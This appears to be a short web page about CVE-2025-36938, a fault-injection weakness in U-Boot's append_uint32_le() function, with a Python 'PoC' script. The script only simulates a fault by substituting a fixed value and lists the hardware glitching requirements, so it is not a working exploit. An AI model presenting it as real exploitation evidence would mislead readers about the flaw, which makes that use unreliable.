CVE-2025-36938: U-Boot append_uint32_le()函数故障注入漏洞

# CVE-2025-36938 PoC - Fault Injection on U-Boot append_uint32_le() # This is a conceptual demonstration, actual exploitation requires physical access import struct def append_uint32_le(buffer, value): """ Original U-Boot append_uint32_le() implementation Simulates the vulnerable function behavior """ # Vulnerable: No fault injection protection encoded = struct.pack('<I', value & 0xFFFFFFFF) return buffer + encoded def simulate_fault_injection(buffer, value): """ Simulate fault injection attack scenario In real attack, physical methods (voltage glitching, EM fault injection) would be used to corrupt the execution """ print("[*] Simulating fault injection attack...") print(f"[*] Original value to append: {value}") # In real attack, fault injection could: # 1. Skip the bounds check # 2. Corrupt the value being written # 3. Skip the write entirely # 4. Write to wrong memory location # Simulate corrupted write (fault injection effect) corrupted_value = 0xFFFFFFFF # Max uint32, could bypass security checks result = append_uint32_le(buffer, corrupted_value) print(f"[*] Value after fault injection: {corrupted_value}") print(f"[*] Result buffer length: {len(result)} bytes") return result def demonstrate_attack(): """ Demonstrate the vulnerability exploitation path """ print("=" * 60) print("CVE-2025-36938 - U-Boot Fault Injection PoC") print("=" * 60) # Simulate buffer that might contain security-critical data buffer = b'\x00' * 100 target_value = 0x12345678 print(f"\n[*] Initial buffer size: {len(buffer)}") print(f"[*] Target value: 0x{target_value:08X}") # Normal execution normal_result = append_uint32_le(buffer, target_value) print(f"\n[+] Normal execution result: {normal_result[:20].hex()}") # Fault injection scenario faulted_result = simulate_fault_injection(buffer, target_value) print(f"\n[!] Fault injection result: {faulted_result[:20].hex()}") print("\n[*] Attack requires:") print(" 1. Physical access to target device") print(" 2. Fault injection equipment (FPGA-based glitcher, etc.)") print(" 3. Precise timing control during bootloader execution") print(" 4. Understanding of U-Boot execution flow") print("\n[*] Mitigation: Implement fault injection countermeasures in U-Boot code") if __name__ == "__main__": demonstrate_attack()